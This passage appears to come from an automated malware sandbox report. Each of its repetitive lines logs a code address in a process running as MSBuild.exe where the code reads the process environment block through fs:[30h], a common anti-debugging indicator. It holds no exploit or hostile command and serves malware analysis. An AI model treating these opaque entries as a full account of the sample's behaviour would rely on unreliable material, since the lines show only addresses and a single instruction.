Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C0124 mov eax, dword ptr fs:[00000030h]	9_2_013C0124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01428158 mov eax, dword ptr fs:[00000030h]	9_2_01428158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464164 mov eax, dword ptr fs:[00000030h]	9_2_01464164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01464164 mov eax, dword ptr fs:[00000030h]	9_2_01464164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E10E mov eax, dword ptr fs:[00000030h]	9_2_0143E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E10E mov ecx, dword ptr fs:[00000030h]	9_2_0143E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E10E mov eax, dword ptr fs:[00000030h]	9_2_0143E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E10E mov eax, dword ptr fs:[00000030h]	9_2_0143E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E10E mov ecx, dword ptr fs:[00000030h]	9_2_0143E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E10E mov eax, dword ptr fs:[00000030h]	9_2_0143E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E10E mov eax, dword ptr fs:[00000030h]	9_2_0143E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E10E mov ecx, dword ptr fs:[00000030h]	9_2_0143E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E10E mov eax, dword ptr fs:[00000030h]	9_2_0143E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E10E mov ecx, dword ptr fs:[00000030h]	9_2_0143E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01450115 mov eax, dword ptr fs:[00000030h]	9_2_01450115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143A118 mov ecx, dword ptr fs:[00000030h]	9_2_0143A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143A118 mov eax, dword ptr fs:[00000030h]	9_2_0143A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143A118 mov eax, dword ptr fs:[00000030h]	9_2_0143A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143A118 mov eax, dword ptr fs:[00000030h]	9_2_0143A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01396154 mov eax, dword ptr fs:[00000030h]	9_2_01396154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01396154 mov eax, dword ptr fs:[00000030h]	9_2_01396154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138C156 mov eax, dword ptr fs:[00000030h]	9_2_0138C156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014561C3 mov eax, dword ptr fs:[00000030h]	9_2_014561C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014561C3 mov eax, dword ptr fs:[00000030h]	9_2_014561C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0140E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0140E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E1D0 mov ecx, dword ptr fs:[00000030h]	9_2_0140E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0140E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140E1D0 mov eax, dword ptr fs:[00000030h]	9_2_0140E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014661E5 mov eax, dword ptr fs:[00000030h]	9_2_014661E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138A197 mov eax, dword ptr fs:[00000030h]	9_2_0138A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138A197 mov eax, dword ptr fs:[00000030h]	9_2_0138A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138A197 mov eax, dword ptr fs:[00000030h]	9_2_0138A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D0185 mov eax, dword ptr fs:[00000030h]	9_2_013D0185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01434180 mov eax, dword ptr fs:[00000030h]	9_2_01434180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01434180 mov eax, dword ptr fs:[00000030h]	9_2_01434180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C01F8 mov eax, dword ptr fs:[00000030h]	9_2_013C01F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0144C188 mov eax, dword ptr fs:[00000030h]	9_2_0144C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0144C188 mov eax, dword ptr fs:[00000030h]	9_2_0144C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141019F mov eax, dword ptr fs:[00000030h]	9_2_0141019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141019F mov eax, dword ptr fs:[00000030h]	9_2_0141019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141019F mov eax, dword ptr fs:[00000030h]	9_2_0141019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141019F mov eax, dword ptr fs:[00000030h]	9_2_0141019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01416050 mov eax, dword ptr fs:[00000030h]	9_2_01416050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138A020 mov eax, dword ptr fs:[00000030h]	9_2_0138A020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138C020 mov eax, dword ptr fs:[00000030h]	9_2_0138C020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AE016 mov eax, dword ptr fs:[00000030h]	9_2_013AE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AE016 mov eax, dword ptr fs:[00000030h]	9_2_013AE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AE016 mov eax, dword ptr fs:[00000030h]	9_2_013AE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AE016 mov eax, dword ptr fs:[00000030h]	9_2_013AE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01414000 mov ecx, dword ptr fs:[00000030h]	9_2_01414000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01432000 mov eax, dword ptr fs:[00000030h]	9_2_01432000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01432000 mov eax, dword ptr fs:[00000030h]	9_2_01432000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01432000 mov eax, dword ptr fs:[00000030h]	9_2_01432000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01432000 mov eax, dword ptr fs:[00000030h]	9_2_01432000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01432000 mov eax, dword ptr fs:[00000030h]	9_2_01432000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01432000 mov eax, dword ptr fs:[00000030h]	9_2_01432000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01432000 mov eax, dword ptr fs:[00000030h]	9_2_01432000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01432000 mov eax, dword ptr fs:[00000030h]	9_2_01432000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BC073 mov eax, dword ptr fs:[00000030h]	9_2_013BC073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01392050 mov eax, dword ptr fs:[00000030h]	9_2_01392050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01426030 mov eax, dword ptr fs:[00000030h]	9_2_01426030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013880A0 mov eax, dword ptr fs:[00000030h]	9_2_013880A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014120DE mov eax, dword ptr fs:[00000030h]	9_2_014120DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014160E0 mov eax, dword ptr fs:[00000030h]	9_2_014160E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139208A mov eax, dword ptr fs:[00000030h]	9_2_0139208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138C0F0 mov eax, dword ptr fs:[00000030h]	9_2_0138C0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D20F0 mov ecx, dword ptr fs:[00000030h]	9_2_013D20F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013980E9 mov eax, dword ptr fs:[00000030h]	9_2_013980E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138A0E3 mov ecx, dword ptr fs:[00000030h]	9_2_0138A0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014280A8 mov eax, dword ptr fs:[00000030h]	9_2_014280A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014560B8 mov eax, dword ptr fs:[00000030h]	9_2_014560B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014560B8 mov ecx, dword ptr fs:[00000030h]	9_2_014560B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01412349 mov eax, dword ptr fs:[00000030h]	9_2_01412349
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0146634F mov eax, dword ptr fs:[00000030h]	9_2_0146634F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01438350 mov ecx, dword ptr fs:[00000030h]	9_2_01438350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145A352 mov eax, dword ptr fs:[00000030h]	9_2_0145A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141035C mov eax, dword ptr fs:[00000030h]	9_2_0141035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141035C mov eax, dword ptr fs:[00000030h]	9_2_0141035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141035C mov eax, dword ptr fs:[00000030h]	9_2_0141035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141035C mov ecx, dword ptr fs:[00000030h]	9_2_0141035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141035C mov eax, dword ptr fs:[00000030h]	9_2_0141035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141035C mov eax, dword ptr fs:[00000030h]	9_2_0141035C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138C310 mov ecx, dword ptr fs:[00000030h]	9_2_0138C310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B0310 mov ecx, dword ptr fs:[00000030h]	9_2_013B0310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CA30B mov eax, dword ptr fs:[00000030h]	9_2_013CA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CA30B mov eax, dword ptr fs:[00000030h]	9_2_013CA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CA30B mov eax, dword ptr fs:[00000030h]	9_2_013CA30B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143437C mov eax, dword ptr fs:[00000030h]	9_2_0143437C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01468324 mov eax, dword ptr fs:[00000030h]	9_2_01468324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01468324 mov ecx, dword ptr fs:[00000030h]	9_2_01468324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01468324 mov eax, dword ptr fs:[00000030h]	9_2_01468324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01468324 mov eax, dword ptr fs:[00000030h]	9_2_01468324
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014163C0 mov eax, dword ptr fs:[00000030h]	9_2_014163C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0144C3CD mov eax, dword ptr fs:[00000030h]	9_2_0144C3CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014343D4 mov eax, dword ptr fs:[00000030h]	9_2_014343D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014343D4 mov eax, dword ptr fs:[00000030h]	9_2_014343D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E3DB mov eax, dword ptr fs:[00000030h]	9_2_0143E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E3DB mov eax, dword ptr fs:[00000030h]	9_2_0143E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E3DB mov ecx, dword ptr fs:[00000030h]	9_2_0143E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143E3DB mov eax, dword ptr fs:[00000030h]	9_2_0143E3DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01388397 mov eax, dword ptr fs:[00000030h]	9_2_01388397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01388397 mov eax, dword ptr fs:[00000030h]	9_2_01388397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01388397 mov eax, dword ptr fs:[00000030h]	9_2_01388397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138E388 mov eax, dword ptr fs:[00000030h]	9_2_0138E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138E388 mov eax, dword ptr fs:[00000030h]	9_2_0138E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138E388 mov eax, dword ptr fs:[00000030h]	9_2_0138E388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B438F mov eax, dword ptr fs:[00000030h]	9_2_013B438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B438F mov eax, dword ptr fs:[00000030h]	9_2_013B438F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C63FF mov eax, dword ptr fs:[00000030h]	9_2_013C63FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AE3F0 mov eax, dword ptr fs:[00000030h]	9_2_013AE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AE3F0 mov eax, dword ptr fs:[00000030h]	9_2_013AE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AE3F0 mov eax, dword ptr fs:[00000030h]	9_2_013AE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A03E9 mov eax, dword ptr fs:[00000030h]	9_2_013A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A03E9 mov eax, dword ptr fs:[00000030h]	9_2_013A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A03E9 mov eax, dword ptr fs:[00000030h]	9_2_013A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A03E9 mov eax, dword ptr fs:[00000030h]	9_2_013A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A03E9 mov eax, dword ptr fs:[00000030h]	9_2_013A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A03E9 mov eax, dword ptr fs:[00000030h]	9_2_013A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A03E9 mov eax, dword ptr fs:[00000030h]	9_2_013A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A03E9 mov eax, dword ptr fs:[00000030h]	9_2_013A03E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0139A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0139A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0139A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0139A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0139A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0139A3C0 mov eax, dword ptr fs:[00000030h]	9_2_0139A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013983C0 mov eax, dword ptr fs:[00000030h]	9_2_013983C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013983C0 mov eax, dword ptr fs:[00000030h]	9_2_013983C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013983C0 mov eax, dword ptr fs:[00000030h]	9_2_013983C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013983C0 mov eax, dword ptr fs:[00000030h]	9_2_013983C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01418243 mov eax, dword ptr fs:[00000030h]	9_2_01418243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01418243 mov ecx, dword ptr fs:[00000030h]	9_2_01418243
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138823B mov eax, dword ptr fs:[00000030h]	9_2_0138823B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0144A250 mov eax, dword ptr fs:[00000030h]	9_2_0144A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0144A250 mov eax, dword ptr fs:[00000030h]	9_2_0144A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0146625D mov eax, dword ptr fs:[00000030h]	9_2_0146625D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01440274 mov eax, dword ptr fs:[00000030h]	9_2_01440274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138826B mov eax, dword ptr fs:[00000030h]	9_2_0138826B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01394260 mov eax, dword ptr fs:[00000030h]	9_2_01394260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01394260 mov eax, dword ptr fs:[00000030h]	9_2_01394260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01394260 mov eax, dword ptr fs:[00000030h]	9_2_01394260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01396259 mov eax, dword ptr fs:[00000030h]	9_2_01396259
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138A250 mov eax, dword ptr fs:[00000030h]	9_2_0138A250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014662D6 mov eax, dword ptr fs:[00000030h]	9_2_014662D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A02A0 mov eax, dword ptr fs:[00000030h]	9_2_013A02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A02A0 mov eax, dword ptr fs:[00000030h]	9_2_013A02A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE284 mov eax, dword ptr fs:[00000030h]	9_2_013CE284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013CE284 mov eax, dword ptr fs:[00000030h]	9_2_013CE284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01410283 mov eax, dword ptr fs:[00000030h]	9_2_01410283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01410283 mov eax, dword ptr fs:[00000030h]	9_2_01410283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01410283 mov eax, dword ptr fs:[00000030h]	9_2_01410283
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A02E1 mov eax, dword ptr fs:[00000030h]	9_2_013A02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A02E1 mov eax, dword ptr fs:[00000030h]	9_2_013A02E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A02E1 mov eax, dword ptr fs:[00000030h]	9_2_013A02E1
